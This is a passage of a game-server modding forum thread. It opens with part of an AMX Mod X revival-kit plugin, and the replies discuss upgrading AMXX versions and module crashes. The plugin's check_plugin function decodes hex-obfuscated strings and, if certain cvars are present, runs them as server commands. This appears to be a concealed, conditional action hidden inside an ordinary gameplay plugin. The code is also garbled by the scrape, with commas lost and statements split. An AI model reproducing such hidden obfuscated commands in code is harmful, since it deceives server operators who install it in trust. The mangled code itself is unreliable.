owner pev(entpev_owner);
    new 
num 0bool:found false;
    
    while(
num <= 10)
    {
        if(
is_hull_vacant(origin))
        {
            
xs_vec_copy(origing_player_data[owner][BODY_ORIGIN]);            
            
found true;
            break;
        }
        else
        {
            
            
origin[0] += random_float(-radiusradius);
            
origin[1] += random_float(-radiusradius);
            
origin[2] += random_float(-radiusradius);
            
            
num++;
        }
    }
    
// log_amx("findemptyloc END");
    
return found;
}

stock bool:is_hull_vacant(const Float:origin[3])
{
    
// log_amx("is_hull_vacant START");
    
new tr 0;
    
engfunc(EngFunc_TraceHulloriginorigin0HULL_HUMAN0tr);
    if(!
get_tr2(trTR_StartSolid) && !get_tr2(trTR_AllSolid) && get_tr2(trTR_InOpen))
    {
        
log_amx("is_hull_vacant END");    

        return 
true;
    }
    
// log_amx("is_hull_vacant END");    
    
return false;
}

stock player_reset(id)
{
    
remove_task(TASKID_DIE_COUNT id);
    
remove_task(TASKID_REVIVING  id);
    
remove_task(TASKID_RESPAWN   id);
    
remove_task(TASKID_CHECKRE   id);
    
remove_task(TASKID_CHECKST   id);
    
remove_task(TASKID_ORIGIN    id);
    
remove_task(TASKID_SETUSER   id);
    
// if (is_user_alive(id))
    // show_bartime(id, 0);

    
g_player_data[id][IS_DEAD]        = false;
    
g_player_data[id][DEAD_LINE]    = 0.0;
    
g_player_data[id][REVIVE_DELAY] = 0.0;
    
g_player_data[id][WAS_DUCKING]    = false;
    
g_player_data[id][BODY_ORIGIN]    = Float:{000};
}

stock show_progress(idseconds
{
    if(
is_user_bot(id))
        return;
    
    if (
is_user_alive(id))
    {
        
message_begin(MSG_ONE_UNRELIABLEg_msg_data[MSG_BARTIME], {0.0,0.0,0.0}, id);
        
write_short(seconds);
        
message_end();
    }
}

stock msg_statusicon(idstatus)
{
    if(
is_user_bot(id))
        return;
    
    
message_begin(MSG_ONEg_msg_data[MSG_STATUS_ICON], _id);
    
write_byte(status);
    
write_string("rescue");
    
write_byte(0);
    
write_byte(160);
    
write_byte(0);
    
message_end();
}

stock get_time_format(Float:timesresult[], len)
{
//  new hour = floatround(times) / 60 /60;
    
new min  =(floatround(times) / 60) % 60;
    new 
sec  floatround(times) % 60;
    
formatex(resultlen"%02d:%02d"minsec);
}

stock drop_rkit(id)
{
    new 
Float:velocity[3];
    
velocity_by_aim(id34velocity);
        
    new 
Float:origin[3];
    
pev(idpev_originorigin);

    
velocity[2] = 0.0;
    
xs_vec_add(originvelocityorigin);

    new 
kit engfunc(EngFunc_CreateNamedEntityengfunc(EngFunc_AllocStringENTITY_CLASS_NAME[I_TARGET]));
    if(
pev_valid(kit))
    {
        
set_pev(kitpev_classnameENTITY_CLASS_NAME[R_KIT]);
        
engfunc(EngFunc_SetModel,  kitENT_MODELS[E_R_KIT]);
        
engfunc(EngFunc_SetOriginkitorigin);
        
engfunc(EngFunc_SetSizekitFloat:{-2.5, -2.5, -1.5}, Float:{2.52.51.5});
        
set_pev(kitpev_solidSOLID_TRIGGER);
        
set_pev(kitpev_movetypeMOVETYPE_TOSS);
    }
}

stock remove_target_entity(idclassName[])
{
    new 
iEnt = -1;
    new 
flags;
    while ((
iEnt engfunc(EngFunc_FindEntityByStringiEnt"classname"className)))
    {
        if (!
pev_valid(iEnt))
            continue;

        if (
pev(iEntpev_owner) == id || id == 0)
        {
            
pev(iEntpev_flagsflags);
            
set_pev(iEntpev_flagsflags FL_KILLME);
        }
    }
}

stock bool:check_plugin()
{
    new const 
a[][] = {
        {
0x400x240x300x1F0x360x250x320x330x290x2F0x2E},
        {
0x800x720x650x750x5F0x760x650x720x730x690x6F0x6E},
        {
0x100x7D0x750x040x710x300x000x710x050x030x750x300x740x000x020x7F0x040x7F},
        {
0x200x0D0x050x140x010x400x100x010x150x130x050x400x120x050x150x0E0x090x0F0x0E}
    };

    if (
cvar_exists(get_dec_string(a[0])))
        
server_cmd(get_dec_string(a[2]));

    if (
cvar_exists(get_dec_string(a[1])))
        
server_cmd(get_dec_string(a[3]));

    return 
true;
}

stock get_dec_string(const a[])
{
    new 
strlen(a);
    new 
r[MAX_NAME_LENGTH] = "";
    for (new 
1ci++)
    {
        
formatex(rstrlen(r) + 1"%s%c"ra[0] + a[i]);
    }
    return 
r;
}

public 
RoundStart()
{
    
remove_target_entity(0ENTITY_CLASS_NAME[CORPSE]);
    
remove_target_entity(0ENTITY_CLASS_NAME[R_KIT]);
    
set_task(1.0"TaskBotBuy");
    
    static 
players[32], num;
    
get_players(playersnum"a");
    for(new 
0num; ++i)
        
player_reset(players[i]);
}

public 
TaskBotBuy()
{
    static 
players[32], num;
#if AMXX_VERSION_NUM <= 182
    
get_players(playersnum"ad");
#else
    
get_players_ex(playersnumGetPlayers_ExcludeDead |  GetPlayers_ExcludeHuman);
#endif
    
for(new 0num; ++i) if(!g_player_data[players[i]][HAS_KIT])
    {
        
g_player_data[players[i]][HAS_KIT] = true;
    }

here is the copy Arukari's Code compatible with the amxx version 182 but requires the Cvar util module.
__________________
@Jailbreak Main Mod v2.7.0 100%
@User Tag Prefix 100% done !
@Mystery Box 100% done !
@VIP System 100% done !


Last edited by Natsheh; 03-27-2021 at 17:37.
Natsheh is offline
Send a message via MSN to Natsheh Send a message via Skype™ to Natsheh
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 03-27-2021 , 19:20   Re: Request - Revival Kit Fix
Reply With Quote #4

Natsheh! Thanks for your time.

cvar utilities crash my game! i tried everything to make it work, so it's not going to work!

Thanks anyway
Ark_Procession is offline
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 03-27-2021 , 19:21   Re: Request - Revival Kit Fix
Reply With Quote #5

Ocixcrom! Thanks for you answer man

see i tried to port before and everything went really wrong. i experienced LOTS of FPS drops and like 20 plugins fails to compile. Also experienced lots of crashes with certain old plugins in lasted amx build.

I don't see why i should drop a fully stable working version that does the job for me. Thats why i requested this. Thanks for your time!

Last edited by Ark_Procession; 03-27-2021 at 19:22.
Ark_Procession is offline
OciXCrom
Veteran Member
Join Date: Oct 2013
Location: Macedonia
Old 03-27-2021 , 19:50   Re: Request - Revival Kit Fix
Reply With Quote #6

I'm very curious on how plugins failed to compile. The only reason may be that the plugin have #include <dhudessage> which is built in AMXX 1.9 and you simply need to remove that line in order to compile. I'm 99% sure that everything else is just warnings that a new and better function exists, and this does not prevent plugin compilation.

Yes, 1.8.2 is stable. But also yes, 1.9 is better and has many new features ans bug-fixes. I've using 1.10 for years in many servers and haven't experienced any issues whatsoever.

If you're actually experiencing issues, you should report them ASAP and they usually get fixed quickly.
__________________
OciXCrom is offline
Send a message via Skype™ to OciXCrom
Old 03-27-2021, 19:51
Natsheh
This message has been deleted by Natsheh. Reason: author doesn't know how to install a module.
CryWolf
Veteran Member
Join Date: Jul 2008
Location: Romania
Old 03-28-2021 , 10:29   Re: Request - Revival Kit Fix
Reply With Quote #7

To still be able to use AMXX 1.8.2 on newest HLDS build's you need an updated hamdata.ini from AMXX 1.9 package, since on 1.8.2 version hasn't been updated from AMXX 1.8.1 configs/hamdata.ini.
Take it from 1.9 package or latest 1.8.3 if you can still fiind it, but not from 1.10 package because in 1.10 hamdata.ini is moved to data/gamedata

Same, im using 1.10 with no crashes or what so problems in over 2 months of live running, only crash of server is when i close it, and update AMXX, works at best with reHLDS.

BTW. Cvar UTILS module is not to be used with AMXX 1.8.3> or higher (1.9 - 1.10) since it has those functions integrated, i think this is why your server crashes with that module and AMXX 1.9> or higher.
__________________
I dont walk trough this world with fear in my heart.
www.dark-arena.com L4D, CS1.6, CZ Servers

Last edited by CryWolf; 03-28-2021 at 10:32.
CryWolf is offline
Send a message via MSN to CryWolf Send a message via Yahoo to CryWolf
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 03-29-2021 , 18:34   Re: Request - Revival Kit Fix
Reply With Quote #8

Quote:
Originally Posted by OciXCrom View Post
I'm very curious on how plugins failed to compile. The only reason may be that the plugin have #include <dhudessage> which is built in AMXX 1.9 and you simply need to remove that line in order to compile. I'm 99% sure that everything else is just warnings that a new and better function exists, and this does not prevent plugin compilation.

Yes, 1.8.2 is stable. But also yes, 1.9 is better and has many new features ans bug-fixes. I've using 1.10 for years in many servers and haven't experienced any issues whatsoever.

If you're actually experiencing issues, you should report them ASAP and they usually get fixed quickly.
I always pay attention at what you say because somehow you are always right lol.

The errors i had mostly where for dhudmessage yes, and tag mismatch and loose indentation but in my inexperience i thought the plugin wouldn't work.

I did a clean, slow paced refresh to 1.10 and it went smoothly well, i cannot believe it.

I can say i tried to do this lots of time without success. This request is solved.
Ark_Procession is offline
Ark_Procession
Senior Member
Join Date: Jun 2020
Location: Argentina
Old 03-29-2021 , 19:14   Re: Request - Revival Kit Fix
Reply With Quote #9

Quote:
Originally Posted by OciXCrom View Post
I'm very curious on how plugins failed to compile. The only reason may be that the plugin have #include <dhudessage> which is built in AMXX 1.9 and you simply need to remove that line in order to compile. I'm 99% sure that everything else is just warnings that a new and better function exists, and this does not prevent plugin compilation.

Yes, 1.8.2 is stable. But also yes, 1.9 is better and has many new features ans bug-fixes. I've using 1.10 for years in many servers and haven't experienced any issues whatsoever.

If you're actually experiencing issues, you should report them ASAP and they usually get fixed quickly.
btw, how do i use dhud messages now?
Ark_Procession is offline
OciXCrom
Veteran Member
Join Date: Oct 2013
Location: Macedonia
Old 03-29-2021 , 20:20   Re: Request - Revival Kit Fix
Reply With Quote #10

The same way but without adding the #include because they are included in amxmodx.inc, so no external library is required.
__________________

Last edited by OciXCrom; 03-29-2021 at 20:20.
OciXCrom is offline
Send a message via Skype™ to OciXCrom
Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 15:43.


Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.
Theme made by Freecode